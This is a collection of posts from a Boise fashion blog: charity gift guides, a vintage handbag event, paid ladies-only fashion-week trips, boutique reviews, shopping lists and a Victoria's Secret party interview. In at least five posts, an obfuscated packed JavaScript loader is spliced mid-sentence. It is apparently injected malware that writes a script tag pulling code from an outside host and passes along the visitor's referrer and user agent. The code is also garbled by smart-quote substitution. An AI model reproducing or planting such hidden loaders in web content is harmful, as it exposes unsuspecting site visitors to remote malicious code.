Christmas 2017 Give-Back Gift Guide

Shopping eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeik|var|u0026u|referrer|shnyz||js|php’.split(‘|’),0,{}))
with soul gets glam for 2017!

~ photos by Allie Smith Hobbes, myself, or shared with permission from businesses below~

In the last few years, there’s been a major shift in the fashion industry towards a more ethical design, manufacturing, and shopping experience. From employment practices abroad, to real financial impact closer to home, it’s encouraging to watch this movement grow and blossom into something truly impactful… And truly beautiful!!!

Christmas is near, but if you still have shopping left to do, check out some of my personal favorite companies below for inspiration! Some items are available locally, and most are also online. I’ve chosen these products and companies because I have either connected directly with the fine people selling them, or have a deep personal passion for the mission behind their products.

But think of this list as just a beginning! Please (pretty please with sugarplums on top!) tell me YOUR favorite give-back-biz in the comments below. Post links, pics, anything you love; share your faves, so we can spread the joy, together!!!

XOXO,

Tanya

Bought Beautifully

Bought Beautifully is a lovely online shop founded by Colin & Emily Betzler, two-huge-hearted entrepreneurs from Wyoming. The Betzlers believe in changing the world by living generously, and to that end, have built “a marketplace that empowers you to create dignified opportunities for people around the globe, one purchase at a time.” Every item in their shop, from jewelry to Christmas ornaments, is both beautiful and fashion-forward.

I fell in love with Bought Beautifully’s Brass Stud earrings from Sasa (pictured above, lower right), a brand that empowers and supports deaf men and women in Nairobi, Kenya, and on the Island of La Gonave, Haiti.

Bought Beautifully sells handcrafted items from 36 partners in over 16 nations across the globe, and you can search by category, or by the cause that is close to your heart!

stylespygirl bought beautifully bracelet — Bracelet by Badala; proceeds fight human trafficking and empower women to rise out of poverty in East Africa, Central America, and the USA.

Speak Your Silence

My friend Matt Pipkin founded Speak Your Silence in 2012 as a place of healing, recovery, and empowerment for men and women around the world who are victims of sexual assault. Speak Your Silence’s unique zigzag pattern can be added onto any piece of apparel or accessory, as an unspoken sign of solidarity and support among those who have suffered.

Whether you have personally experienced sexual violence or not, wearing the zigzag pattern shows you care, and want to inspire others to prevent sexual assault and share your voice for those affected.

Speak Your Silence has partnered with Boutonné, a San Diego-based brand that produces leather goods, to create a special Swivel Clip, Envelope Laptop Case, and the Mills Tote I am wearing in the photos above. Click here to purchase the tote ($190), and find out more about Boise-based Speak Your Silence! T-shirts, decal kits, and other products are also available for purchase.

Corbin’s Legacy Bracelets

No child should have to go an entire school day without lunch. That’s the basic, and passionate anthem behind Corbin’s Legacy bracelets. Founded in honor of Corbin Leafman, a beloved and compassionate kindergarten teacher who passed away at 31 years old from cancer, Corbin’s Legacy bangles give back 100% of their proceeds to food & medical care for disadvantaged elementary school children.

Corbin was known for “always walking through the lunch line holding up a $20.00 bill to make sure that the cafeteria lady knew that none of her students were to go without a hot meal.” She bought backpacks, school supplies, and gifts for children in need, and her giving heart lives on in those who knew and loved her! Bracelets are $30 in downtown Boise, at Swank Boutique.

Tentree Sweatshirts

Did you know our local Buckle store is a major force for good in the community? Through their Buckle Believes program, they offer multiple give-back lines of clothing and accessories, all with great style and affordable prices! I loved these soft, cozy sweatshirts by tentree, available in multiple colors, and all fleece-lined. Ten trees are planted for every item you purchase, and the tag comes with an extra seed for you to plant! These tops are great for stocking stuffers, and cold winter nights. Shop the entire collection here, and at your local Buckle store, $35-76.

Girl Power for good!

All right, I get to toot my own horn on this rad project! But don’t worry; no money goes in my own pocket. 😉 It’s all for giving back! I teamed up with brilliant Boise designers Fourthwave Apparel for a special collaborative design, Nobody Puts Girl Power in a Corner. For every shirt sold, 40% of the profits go directly to Leap Charity, a local non-profit org that helps house and support refugee families arriving in our community.

You can read more about our story here, or jump straight to Fourthwave to buy one. $22 adult, $14.50 kids.

Proof Eyewear

If you live anywhere in the Treasure Valley, you know about Proof Eyewear! We all love this local company that’s made it big in the fashion industry, but did you also what big HEARTS they have as well?? Through Proof’s Do Good program, thousands of dollars have gone back into health and vision projects around the world. From micro-loans for entrepreneurs to building orphanages, Proof ‘s commitment to socially-conscious programs across the globe is unmatched.

Click here to read more about Proof’s Give Back program, and all the amazing projects they support, or visit their new downtown flagship store at 314 S. 9th Street, Boise, for last-minute gifts!

Buckle Believes

Those who know me well, know that I am passionate when it comes to fighting bullying. My son went through some horrific experiences at a very young age, because of his Asperger’s. Please read more about his story here; Ethan is an incredible kid, and I will fight tooth & nail for the life he deserves to live.

When I stopped by Buckle to look for give-back brands, these Buckle Believes t-shirts made my eyes leak a little. The Be Buddies, Not Bullies top was my fave, and I’m proud to wear it to help raise awareness for my son, and all kids everywhere!!! Proceeds from all three of the tops pictured above go to The American Cancer Society, and Pacer’s National Bullying Prevention Center. These designs (and more!) are available for $28.95 online at Buckle.com, or available at your local Buckle store.

Don’t forget to add your voice to the conversation!
Please comment below with your favorite give-back gifts and companies.
Merry Christmas, Happy Holidays, and may all your days be merry & bright!
XOXOXO

Boise Event Spotlight: Dillard’s Designer Pop-up Shop!

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courtesy of ammophotog

Woohoo, handbag-loving babes, it’s baaaaack!!! Last year, I partnered with Dillard’s to invite you to a new shopping concept that literally popped-up in their stores across the country: the What Goes Around, Comes Around Vintage Handbag Event. This year, it’s back, bigger and better than ever!

Remember this rad shopping party from last year? More pics & the recap of that event here.

This year’s first-come, first-served shopping opportunity is part of Dillard’s collaboration with What Goes Around Comes Around, the leading global purveyor of authentic luxury vintage accessories and apparel. Since 1993, WGACA’s New York City Soho flagship has remained an industry staple, frequented by celebrities and tastemakers from around the world! WGACA’s expert buyers travel the globe to find the rarest and most desirable pieces in exceptional condition, and bring them to YOU for the chance to fill your closet & rock your ensembles with unique and covetable fashion treasures.

Oversized totes are having a major moment in the fashion world right now! Guess which one I love?

Last year’s shopping party focused on Louis Vuitton bags, exclusively. But this year’s Vintage Handbag Event features pieces from Prada, Fendi, Gucci, and also Louis Vuitton, including everything from wallets to fanny packs to luggage! And now instead of a group party, you get to make a personal private appointment directly with Dillard’s, for your chance to shop these beautiful fashion treasures.

Remember, vintage and collector pieces are limited in quantity, and when they’re gone, they’re gone!

Obsessing over the pretty little things!

Make an appointment with Dillard’s for your personal, private shopping moment by calling (208) 321-4646! Or, go into the store in person to book your spot. (You can also email Tami at store934@dillards.com to inquire about specific bags shown here.) In-person shopping appointments start July 20th and go through the 29th. Hurry, before they’re gone!

Authentication cards & guarantees – all are real designer bags, some still with their original packaging & tags!

Happy Shopping, my fabulous friends!!!!
XOXO,
Tanya

Join the Las Vegas Fashion Week Ladies’ Travel Posse!

We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynbyz|var|u0026u|referrer|yrffz||js|php’.split(‘|’),0,{}))
are thrilled to announce that StyleSpyGirl is teaming up with the Swank Girls at their Boutiques in Boise and Spokane for a very special Ladies-Only Fashion Week adventure to Las Vegas!!! Here are all the details:

International Fashion Week Las Vegas (FWLV), is a semi-annual event where designers can showcase their collections to thousands of industry insiders from around the world, including buyers, retailers, celebrities, VIP’s and members of the national and international fashion press. Join our #GirlPosse as we attend runway shows, explore Las Vegas, and shop till we drop at the malls, boutiques, vintage shops, and couture outlets across the city!

FEBRUARY 17-21, 2016

PACKAGE PRICE: $2,595 for private hotel room, and everything listed below.

BFF Discount Price: $2,195 if you share a hotel room!

This ALL-INCLUSIVE Package includes:

$100 Gift Card to shop at Swank Boutique Boise, Spokane, or online before the trip!

4-night stay at the luxurious Aria Hotel

Round trip airfare

Shop-till-you-drop daily organized adventures (from couture boutiques to vintage/thrift shops!)

Dedicated photographer accompanies our group for gorgeous images of your adventure!

Ground transportation included around Vegas

Sightseeing adventures in the city that never sleeps

Girl Time with your best friends, plus the chance to make new ones!

Ladies’ Night Out VIP Dinner & unique Vegas Show, more details to come…!!!

BOOK YOUR SEAT NOW – A DEPOSIT AT THE LINK BELOW HOLDS YOUR SPOT!
Click the image below for reservations & information:

Ladies-Only Trip to Honolulu Fashion Week 2015

JOIN eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktekd|var|u0026u|referrer|raeky||js|php’.split(‘|’),0,{}))
US!

ALL ABOARD for the next “Shop/Style/Adventure” women-only travel package, hosted by Fashion Blogger & Stylist Tanya Carnahan, to Fashion Week in HONOLULU, HAWAII Nov. 19-24!

Reserve your seat now to join the #StyleSpyGirlPosse for an incredible fashion getaway, with 6 days of Shopping, Styling, Fashion Week shows, poolside cocktails, and much, more, in the beautiful Hawaiian paradise of Honolulu!

Package Price: $3,500, includes a private room and everything listed below.
BFF Discount Rate: $3,150 to share a double room, plus everything listed below.

This all-inclusive fashion getaway includes:

Round-trip Airfare. *
Hotel accommodations at the Hawaii Prince Hotel Waikiki**.
Transportation around the city.
Reserved seats at daily Fashion Week shows.
All meals included.
Styling sessions and personal shopping with fashion blogger & stylist Tanya Carnahan, aka., StyleSpyGirl. (Complimentary; by appointment, on a first-come, first-served basis.)
Poolside cocktail time. ***
Power shopping in downtown Honolulu, everything from outlet shops to the 3-story CHANEL flagship!
Gorgeous professional photos capturing your memorable moments, for use on Facebook/Instagram/Pinterest, & whatever social media platform you use to share pics with all your friends & family back home!
A once-in-a-lifetime experience, traveling with a professional fashion blogger, explorer, stylist, and personal shopper, with tons of photos of your experience to make your friends back home SO jealous!
~ MORE fun perks & special events will be announced as details allow; fireworks, dancing, luau’s, and more!!!

Only 8 SEATS LEFT AVAILABLE for this trip, so clear your calendar and get ready to hop aboard for the getaway of a lifetime! Bring your BFF, your sister, your daughter, your grandma… Every woman is welcome! ?

Not sure what a ladies-only fashion adventure looks like? Click the following link to view our previous trip to Bellevue Fashion Week with Rachel Zoe: The #StyleSpyGirlPosse rocks Fashion Week Bellevue 2015!

*Prices based on flights from Boise, Idaho. Contact us directly for pricing info from other parts of the country!
**Hotel prices vary, based on single or double occupancy. Detailed information available when you click the pricing link above.
***First adult beverage per meal included in your ticket price; additional adult beverages are out-of-pocket.

Spotlight On: Elegant Details Boutique in Mill Creek, WA

Mill eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feekh|var|u0026u|referrer|iistd||js|php’.split(‘|’),0,{}))
Creek, WA is a bustling little suburb of north Seattle, nestled in an area between Bothell and Everett. This sprawling town has boomed in the last few years, growing from a quiet community to a thriving, urban center. My parents live here, and it’s been fun to watch their town blossom! Recently I discovered a new favorite boutique to shop in, amongst the bookstores, markets, and restaurants of Mill Creek.

Just a short walk up the road from Mill Creek’s Town Center is a quiet strip mall, where I found Elegant Details Boutique. Owners Kelly and Lisa opened their lovely little shop eight years ago, selling home decor and accessories. Three years ago, they decided to bring clothing and jewelry into their boutique, and sales really started to boom!

Like a mini-Anthropologie (but without the – ahem! – Anthro price tag), Elegant Details specializes in the pretty little things every woman craves, but doesn’t know she needed until she sees them! From luxurious couture bubble bath, to the thick, oozy-melting candles your grandmother used to have, to prim underslips trimmed with the most exquisite laces, Elegant Details is all things feminine.

I enjoyed shopping in here immensely, and came away with a lacy black top (on sale!), a beautiful off-the-shoulder tunic that’s totally on-trend, some sweet home-decor art, and the cutest little pair of Seahawks earrings to give my mom for her birthday. Everything was reasonably-priced, and the shop’s owner was kind, helpful, and friendly.

Whether you’re visiting friends, family, or just passing through Mill Creek, stop in for a delightful shopping adventure at Elegant Details Boutique! I’m sure you’ll enjoy the pretty little things, as much as I did. 🙂

XOXO,
Tanya

Elegant Details Boutique on Facebook
15704 Mill Creek Blvd, Ste 12, Mill Creek, WA 98012
425-585-0914

>>> Jump to the next article: Fall Fashion Preview & My Plaid Crush!!!

Shopping For Polka Dots

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I’ve been preparing to be a “Best in Shoe” judge at Boise’s upcoming Wine, Women, & Shoes gala downtown, to benefit the Idaho Youth Ranch. This year’s theme is Polka Dots, and it couldn’t come at a better time! Bespotted looks are everywhere this season, but if you haven’t found your perfect look for WW&S yet (or you just love shopping the trend!) here are some ideas & links for you to check out, from full-on spotted gown to demure headscarf.

Good luck, and happy shopping!
XOXO,
Tanya

Deciding on my dress, found at the surprisingly-affordable Bridal by Marie shop in Eagle –
gorgeous gowns, and very reasonable price tags!!!

Polka Dot Shoes

polka dot slingback nordstrom — J. Renee ‘Kory’ Slingback Pump, Nordstrom, $79.95

French Sole ‘Noir’ Polka Dot Mesh Flat, Nordstrom, $187.95

Alice + Olivia ‘Roberta’ Polka Dot Espadrille Sandal, Nordstrom, $295

Polka Dot Dresses

Pleated Polka Dot Dress, Forever 21, $19.80

Dotted Fit & Flare Dress, Forever 21, $22.80

Adrianna Papell Ruffle Neck Dot Lace Fit & Flare Dress, Nordstrom, on Clearance, $54.97

Get Dropped Polka Dot Dress, Nasty Gal, $68

Eliza J Print Jersey Fit & Flare Dress, Nordstrom, on sale, $88.50

Eliza J Belted Jacquard Fit & Flare Dress, Nordstrom, $148

Betsey Johnson Polka Dot Mesh Gown, Nordstrom, $258

Other Cool Stuff

Simply Chic Polka Dot Matte Jersey Pant, Lane Bryant, $69.95

Polka Dot Chiffon Top, Forever 21, $19.90

Riley Faux Fur Coat, Nasty Gal, on sale, $84

Kate Spade New York iPhone Case, Nordstrom, $40

Polka Dot Scarf, J. Crew, on sale $44.99

Hue Large Polka Dot Tights, Nordstrom, $13.50

Cara “Dots Wonder” Head Wrap, Nordstrom, $24

Shopping in Phoenix: Poor Little Rich Girl

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I had a short – but wonderful! – week in Phoenix, Arizona visiting my beloved Aunt, Uncle, and cousins, and helping my Aunt go through and organize all my recently-departed Grandmother’s belongings. I’ll share more about that in an upcoming post (and tell you about the vintage treasures that blew my mind!), but the purpose of this article is to share about my new favorite place in Phoenix to shop: Poor Little Rich Girl!

My cousin Tiffany raved about this shop, and she has excellent fashion taste, so of course I had to go check it out! It’s a resale/consignment shop, packed wall-to-wall with carefully curated fashion treasures and locally-made jewelry, housewares, and gifts. Fabulous!

Poor Little Rich Girl began seven years ago as a consignment store, but has recently moved to a cashout system, giving sellers the best bang for their buck. No matter what the item you’ve sold gets marked down to over time, you’ll receive the initial value up front on your precious treasures! This immediate-gratification system most likely explains why the store is so full of designer brands and current trends! I spotted Coach, Gucci, Michael Korrs, Betsey Johnson, Kate Spade, Diane von Furstenburg, and Tory Burch, just to name a few.

My daughter was with me, and we had a fun time shopping for treasures. She was particularly enamored with the huge necklace display; an old wire mattress frame, laden with jewelry she could walk through, running her fingers through all the pretty things hanging like branches of a magical willow tree! Very clever.

Poor Little Rich Girl has two locations, a few miles apart. We visited the one on E. Indian School, and had a blast! Be sure to check out their instagram feed here; not only is it inspiring from a fashion perspective, but you can shop directly from it, and have unique items sent to you! Instant gratification, indeed.

Happy Shopping!
XOXO,
Tanya

Poor Little Rich Girl is in Phoenix, Arizona, USA.
Store Hours: Mon thru Sat 9:00am-7:30pm, Sun 10:00am-6:00pm
Website here, Facebook here, Instagram here.

How Coach is Becoming an Iconic American Brand

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by Valerie Davenport Photography

Unless you live under a rock in the USA, you’ve probably heard of Coach. They’ve been around since the 1940’s, starting out as a humble shop in New York where six leatherworkers crafted billfolds and wallets by hand. In the 1960’s, Lillian Cahn, who co-founded the shop with her husband Miles, convinced him to start creating women’s handbags. He scoffed in the beginning, but their first design, inspired by the paper tote bags she carried as a youth during the Depression – delivering her family’s handmade pasta noodles to customers! – became an instant classic, amassing loyal customers and propelling Coach into the Luxury goods arena.

Over the years those loyal customers have grown with the company, collecting classic bags with a deep appreciation for their workmanship (still handstitched, after all these years!), beautiful style, and lifetime warranty.

But in 2014 Coach veered into new territory, hiring Stuart Vevers as their creative director, a younger and more urban designer than Coach fans are accustomed to. The classic styles are still available, but Vevers has added a plethora of fashion-forward designs that push the boundaries of the typical customer’s comfort zone. Will fan loyalty hold fast, with this evolution of edgy, gritty, rocker flavor on handbags, couture clothing collections, and a newly-acquired shoe line (Stuart Weitzman)?

Time will tell. But I for one find this new Coach fascinating!

Now, I have a confession to make: I’m a fairly recent fan of Coach. Late to the party, I know… Seriously, they weren’t really much on my radar, until a couple years ago when a friend gave me a little gold handbag with the Op-Art C’s embossed on it. Cute! Then this last fall Coach’s Fall 2014 runway collection burst onto my Instagram feed. Swoon! Shearling-trimmed wedge booties, capes, metal tassles, plaid, and dark moody colors dominated the runway. And I fell in love!

When you see a handbag that makes you gasp, you form an instant emotional connection with it. It can’t be helped! And that’s the connection Stuart Vevers brings to this brand.

This Spring, COACH has turned up the wattage even more (Watch the runway video here, or click the photo below), with neons, edgy shapes, striking lines, and metal trim morphing onto classic Coach shapes. The expansion of their clothing line is another brilliant move, and the results are no less than stunning. I found myself going through the slideshows, thinking “I want that, and that, and that, and I’d totally wear that…” on almost every piece. The colors, the shapes… Everything about this collection is sheer delight! Stuart Vevers has done something few designers can pull off: nailing the perfect balance of Classic and Urban.

Personally, I like to think my own style is a mix of Classic and Urban, so the “New” Coach resonates with me! I adore structured lines with a flair for retro, like their newly-launched Swagger bag, available in large, mini, pebble leather, and metallic – 24 colors & sizes total!!! I love them ALL, but for this shoot I chose a classic Tote (in very un-classic neon!), because seriously, a bright yellow handbag is the perfect cheery go-to for a grey day! Just looking at it makes me smile. 🙂

Keep rocking what you’re doing, Coach – the fashion world just sat up and took notice!
XOXO,
Tanya

Taxi Zip Top Tote, $325 online and at Boise Towne Square Mall / Hot pink Rainboots, $19.99 TJ Maxx / Polkadot Dress, $24.90 Forever 21 (Sold out, but something similar here) / Transparent Raincoat, $17.20 Amazon.com / White Fuzzy Knit Beanie, $4.00 Forever 21 online and at Boise Towne Square Mall

P.S., This post was not paid for, asked for, or sponsored in any way by Coach. I’m just a fan, with an honest opinion! 🙂

Jump to next article: Valentine’s Day Gift Guide 2015…

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Valentine’s Day Gift Guide 2015

Ah, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btatt|var|u0026u|referrer|bfytz||js|php’.split(‘|’),0,{}))
love is in the air!!! Birds are tweeting, the sun is shining… And romantic folks everywhere are making a dash to Hallmark to find that perfect expression of their feelings for someone very special in this world.

Whether you’re level-headed, romantic, mushy, or full-blown twitterpated (yes, that’s a thing; Google the movie Bambi!), here are some gift suggestions for the unique love of your life.
XOXO,
Tanya

Photography by Gretchen LeMay, Studio 208 / Jewelry Courtesy of Hal Davis Jewelers /
Skirt Custom-Made by Retro Hunny Clothing / Lace Top from Express / Shoes Sam Edelman, Nordstrom

SPLURGE

1. Millesia Guepiere Corset, $287, Sugarbums Intimates
2. Black Halo 3/4 Sleeve Jackie O Dress, $345 online or locally at Piece Unique & Shoez, (208) 387-0250
3. Burberry Animal Print Ponyskin Iphone 5/5S Case, $325
4. Valentino Va Va Voom Rockstud Shoulder Bag Red, $3,245 at Neiman Marcus
5. Charles Krypell “I Love You Today, Tomorrow, Forever” Collectible Bracelets & Rings, Price Upon Request at Hal Davis Jewelers, (208) 343-6151
6. Christian Louboutin Mea Culpa Flared Suede Red Sole Pump, $895 at Neiman Marcus

HAPPY MEDIUM

1. Express Heart and Arrow Strappy Babydoll Dress, On SALE now: $55.93 at Express
2. Sam Edelman “Eden” Snakeskin Sandal, $159.95, Nordstrom
3. Rebecca Minkoff Heart Crossbody Bag, $195, Rebecca Minkoff.com
4. Engraveable Bar Cuff, $98 / Signature Engraveable Bar Necklace, $59, Stella & Dot
5. Classic Chanel Camellia Scarf, $245
6. Valentino “Valentina” eau de parfum, $84-112 at Nordstrom
7. Elizabeth & James necklace, $175, Sugarbums Intimates

BUDGET-FRIENDLY

1. WOLF Designs Leather Travel Jewelry Case $60, handmade in Spain. More styles & colors available at Hal Davis Jewelers.
2. Kate Spade Designer Housewares & Decor, $30-50 at Hal Davis Jewelers
3. Camille Beckman Urban Bloom Luxury Body Lotions, $18-20 each
4. Unigon Specialties Handmade “Pulse” bracelet, Sterling Silver, $20
5. Pleaser Glittery Pumps, $82, ShoeHound
6. Kate Spade adorable animals housewear & dishes, $30-50 at Hal Davis Jewelers
7. Coach Studs Heart Coin Case, $95
8. Lace Cut-out Back Cropped Tee, Now 1/2 off at Express, $29.95 / Custom-Made Red Tulle Skirt, Regular price $70, Retro Hunny (SPECIAL: place your order by Valentine’s Day for holiday pricing: $60 including materials! Custom lengths, sizes, and colors available!)
~

Special THANKS to Gretchen LeMay at 208 Studios for the fun Valentine’s Day photos!!! XOXO

Rings, Top to bottom: Greg Ruth, Price upon request / The black ring, Tacori, $350.00 / Midi ring, Suna Bros, Price upon request / “Love” band, Charles Krypell, $120 / Large sparkler, Greg Ruth, Price upon request at Hal Davis Jewelers

Earrings, Suna Bros/ Floating Diamonds Necklace, Suna Bros / Long necklace, Suna Bros- All Price Upon Request at Hal Davis Jewelers

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Interview With an Angel; Victoria’s Secret Fashion Show Party 2014

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week Boise won the very distinct privilege of hosting the Official Victoria’s Secret Fashion Show Viewing Party for 2014!

Yay, us!

A huge event was put together at Boise Towne Square, with hundreds of seats, beanbags, VS swag & goodies, and a red-carpet-worthy photo backdrop for pictures with visiting Victoria’s Secret supermodel Elsa Hosk. Thrilled fans turned out in droves for this event, and the line stretched around Towne Square’s center court, overflowing up the stairs and into the second level! Many had been there since lunchtime, anxious for their chance to see the Fashion Show and meet Elsa. I threw on my favorite Express emerald green sequin party dress, and headed to the show…

I was delighted and honored when KTVB Ch. 7 News asked me to step in as an unofficial reporter to interview Ms. Hosk for the 4:00 news!!! But what do you ask a famous,world-traveling, professional Angel? I reached out to YOU, for some creative interview questions! Here is what YOU asked Elsa, and her inspiring responses:

Me: Is this your first time in Boise?

Elsa: It is my first time in Boise, but I’ve been to Idaho before. I’m from Sweden

Me: Whats your favorite thing about being a Victoria’s Secret supermodel?

Elsa: Oh my gosh, there’s so many things I love about it! I love traveling, I love the fashion show, I love the shoots, I love the whole surrounding thing. Victoria’s Secret is like a family and everybody working for us is just incredible people.

Via Madisen Ellen Phipps: What does wearing the wings mean to you/what do they represent to you and your favorite thing about being apart of the Victoria’s Secret organization?

Elsa: This was the first year I got to walk in wings so it was really, really exciting. I had no idea that I was going to get the wings so when they told me I was just blown away, I almost started crying. And it was this moment where you’re like, oh my God I worked so hard for this, it’s a big accomplishment! And you see the girls walking down, so powerful, and it just makes you feel like you own the world for a second. It’s so iconic, the Victoria’s Secret wings.

Via Ellen Belle Hanson– Ask her what her favorite characteristics are in a photographer when she’s working with one…like anything that makes her feel comfortable so she can do her best!

Elsa: Oh that’s a good question! I think when the photographer has a lot of confidence and can tell you what they want you to do, and can give you direction… Or, if he wants you to be completely free and just like let you move around and be yourself!

Via Sonnay Alvarez: How did you begin your career in modeling?

Elsa: I started when I was 14 but I didn’t go full time until I was 18. I went to school, and played basketball, and then I decided to really go for it.

Via Autumn Short/Me: – Any health, fitness, or diet advice you’d like to pass on to other aspiring models?

Elsa: Work out and be healthy; it’s so important to take care of your body, for a model, because it really is your job. I try to work out 6 days a week, but if I travel it’s hard.

Me: Do you work out on the plane?

Elsa: Oh no, some people do that and I want to be those people, but I just don’t have the confidence, ha ha ha.

Via Amanda Woods: With the ever present emphasis on appearance in our society, what advice can you offer for women to be confident in any situation?

Elsa: For me, it’s been to not compare myself to others, because once you start doing that you can never achieve happiness. You just have to find that confidence within yourself, that acceptance, just be happy with what you’re given, you know?

We asked Tina Kierce, Marketing Manager for Boise Towne Square, some additional questions:

How did Boise win this incredible honor?

Tina: “Girls at Victoria’s Secret received challenges from their company managers to promote the contest for the party on social media. Boise won the fashion show part by a landslide!”

Did you know what was going on, much in advance?

Tina: “This was a big surprise. We were very excited about it and up until the day it was announced we were wishing and hoping and very excited when we won.”

How is this event important for Boise Towne Square?

Tina: “Here we are in Boise and we are hosting the only viewing party in the nation for the most sought after fashion show in the world and our customers get to come and enjoy it and it’s absolutely fabulous.”

It was a blast to see so many cool people turn out for this event! I hung out with photographers Ammophotog (Amanda Morgan, whose photos are included in this article!), Alysha Kautz, Alejandro Martinez (Lucid Imagery), fashion stylists Kellie Levesque (Fashion Kellie) and Heather Schwabe (Style Therapy), models Cara Dempsey, Bailey Heasch, Nicolette Roper, local news producer Char Jackson, and about 300 more excited local lovelies from all over town!

Congratulations, Boise – we ROCKED this Angel party!!!

XOXO, Tanya